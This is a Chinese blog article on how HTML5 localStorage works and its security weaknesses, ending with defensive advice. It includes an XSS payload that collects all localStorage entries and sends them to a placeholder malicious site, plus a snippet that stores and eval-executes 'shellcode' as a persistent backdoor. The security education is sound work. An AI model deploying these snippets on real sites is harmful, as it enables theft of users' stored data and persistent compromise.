[html5]localStorage的原理和HTML5本地存儲安全性

http://zccst.iteye.com/blog/2194344

 

HTML5本地存儲的前身就是Cookie，HTML5的本地存儲是使用localStorage對象將WEB數據持久化在本地。相比較而言HTML5本地存儲中每一個域的存儲大小默認是5M，比起Cookie的4K要大的多。並且存儲和讀取數據的代碼極爲簡練： 

Window.localStorage.setItem(key,value);//存儲數據 
Window.localStorage.getItem(key);//讀取數據 
Window.localStorage.removeItem(key);//刪除數據項 
Window.localStorage.clear();//刪除全部數據 

　　那麼如今咱們是否能夠簡單的認爲，HTML5存儲已經能夠代替Cookie存儲。而這種新的存儲方式又在實際應用中帶來了哪些新的安全風險。帶着這些疑問咱們來進行下面的討論。 

　　(1)、是否能夠代替Cookie 

　　瀏覽器使用Cookie進行身份驗證已經好多年，那如今既然localStorage存儲空間那麼大，是否能夠把身份驗證的數據直接移植過來呢。以如今來看，把身份驗證數據使用localStorage進行存儲還不太成熟。咱們知道，一般可使用XSS漏洞來獲取到Cookie，而後用這個Cookie進行身份驗證登陸。後來爲了防止經過XSS獲取Cookie數據，瀏覽器支持了使用HTTPONLY來保護Cookie不被XSS攻擊獲取到。而localStorage存儲沒有對XSS攻擊有任何的抵禦機制。一旦出現XSS漏洞，那麼存儲在localStorage裏的數據就極易被獲取到。 

　　若是一個網站存在XSS漏洞，那麼攻擊者注入以下代碼，就能夠獲取使用localStorage存儲在本地的全部信息。 

var i = 0;
var str = "";
while (localStorage.key(i) != null)
{
    var key = localStorage.key(i);
    str += key + ": " + localStorage.getItem(key);
    i++;
}
document.location="http://your-malicious-site.com?stolen="+ str;

　　攻擊者也能夠簡單的使用localStorage.removeItem(key)和localStorage.clear()對存儲數據進行清空。 

　　(2)、不要存儲敏感信息 

　　從(1)中知道，從遠程攻擊來看localStorage存儲的數據容易被XSS攻擊獲取，因此不宜把身份驗證信息或敏感信息用localStorage存儲。而從本地攻擊角度來講，從localStorage自身的存儲方式和存儲時效來看也不宜存儲敏感信息。 

　　五大瀏覽器如今都已經支持以localStorage方式進行存儲，其中Chrome,Opera,Safari這三款瀏覽器中都有了查看本地存儲的功能模塊。可是不一樣瀏覽器對localStorage存儲方式仍是略有不一樣。如下是五大瀏覽器localStorage存儲方式： 
 
HTML5本地存儲的安全性 

　　經過上面的描述能夠看出，除了Opera瀏覽器採用BASE64加密外(BASE64也是能夠輕鬆解密的)，其餘瀏覽器均是採用明文存儲數據。 

　　另外一方面，在數據存儲的時效上，localStorage並不會像Cookie那樣能夠設置數據存活的時限，只要用戶不主動刪除，localStorage存儲的數據將會永久存在。 

　　根據以上對存儲方式和存儲時效的分析，建議不要使用localStorage方式存儲敏感信息，那怕這些信息進行過加密。 

　　(3)、嚴格過濾輸入輸出 

　　對於本地存儲，爲了方便再次加載數據，經常會把數據存儲在本地。等再此加載的時候，直接從本地讀取數據顯示在網頁上。在某些狀況下，在經過在localStorage存儲中寫入或讀取數據的時候，若是數據沒有通過輸入輸出嚴格過濾，那麼極易可能這些數據被做爲HTML代碼進行解析，從而產生XSS攻擊。 

　　Twitter就發生過localStorage XSS漏洞。次漏洞觸發的條件是，在Twitter的我的主頁上執行如下存儲代碼後，每次再打開我的主頁時就會彈出/xss/框。 

　　從這段代碼能夠看出，Twitter會使用localStorage方法把一些我的數據存儲到本地，每次加載我的主頁面的時候就會從本地存儲取數據，而後因爲Twitter忽略了對去除數據的嚴格過濾致使存儲的代碼會被看成HMTL編碼執行，進而發生跨站攻擊。 

　　Twitter localStorage XSS 漏洞詳細信息能夠查看：http://www.wooyun.org/bugs/ wooyun-2010-03075。雖然Twitter這個漏洞利用起來很是困難，但它再一次告訴咱們本着一切輸入輸出都是有害的原則，要對數據進行嚴格的輸入輸出過濾。 

　　(4)、容易遭受跨目錄攻擊 

　　localStroage存儲方式不會像Cookie存儲同樣能夠指定域中的路徑，在localStroage存儲方式中沒有域路徑的概念。也就是說，若是一個域下的任意路徑存在XSS漏洞，整個域下存儲的數據，在知道存儲名稱的狀況下，均可以被獲取到。 

　　假設下面兩個連接是使用localStorage來存儲數據： 

　　用戶xisigr和xhack各自的blog連接雖然屬於同一個域，但卻有不一樣的路徑，一個路徑爲xisigr，另外一個路徑爲xhack。假設xisigr用戶發現本身的路徑下存在存儲型XSS漏洞，那麼就能夠在本身的blog中加入獲取數據代碼，其中核心代碼爲localStorage.getItem(「name」)。xhack用戶並不須要登陸blog,他只要訪問http://h.example.com/xisigr，本地存儲數據就會被獲取到。 

　　(5)、容易遭受DNS欺騙攻擊 

　　Google在沒有使用HTML5本地存儲前，是使用Google Gears方式來進行本地存儲的，那個時候Google Gears就遭到過DNS欺騙攻擊。Google Gears支持離線存儲，能夠把Gmail,WordPresss這樣網站數據的以SQLite數據庫的形式存儲下來，之後用戶就能夠對存儲的網站數據進行離線讀取或刪除操做。若是攻擊者發動DNS欺騙攻擊，那麼就能夠注入本地數據庫，獲取數據或者留下永久的後門。這樣將會形成對用戶持久的危害。Google Gears所遭受的DNS欺騙攻擊方式在HTML5本地存儲上也是一樣有效的。 

　　(6)、惡意代碼棲息的溫牀 

　　在第六點中給出「惡意代碼棲息的溫牀」這個小標題有些誇大的效果。其實這裏想說的是HTML5本地存儲在空間上和時間上都將稱爲從此存儲的趨勢，料想「惡意代碼們」天然會大雁南飛轉移棲息到這張溫牀。 

　　那麼，何爲HTML5本地存儲的空間和時間呢?空間這裏指的是存儲空間，比起Cookie 4K空間的微小來講，HTML5的localStroage方法默認就可使瀏覽器存儲5M空間能夠說是博大，而Safari瀏覽器能夠支持到500M更加讓HTML5存儲霸氣外露。時間上，隨着HTML5技術日漸成熟，除了各大瀏覽器廠商爭先在本身的產品中支持HTML5外，一些大應用軟件廠商也對其信賴有佳。好比2011.11月份Adobe宣佈放棄手機上的FLASH， 而有HTML5全面取而代之。隨着時間的推移，HTML5大腳步前行的速度也會愈來愈快，也會使得用到HTML5本地存儲的應用會愈來愈多。 

　　上面從理論上分析了，「惡意代碼棲息的溫牀」的可能性。從實際技術上的可行性也是很是簡單。下面是在本地留後門的核心代碼： 

// 保存shellcode
function setShellCodz(codz){
    window.localStorage.setItem("shellcodz", codz);
}

// 執行shellcode
function getShellCodz(){
    eval(window.localStorage.getItem("shellcodz"));
}

// 刪除shellcode
function delShellCodz(){
    window.localStorage.removeItem("shellcodz");
}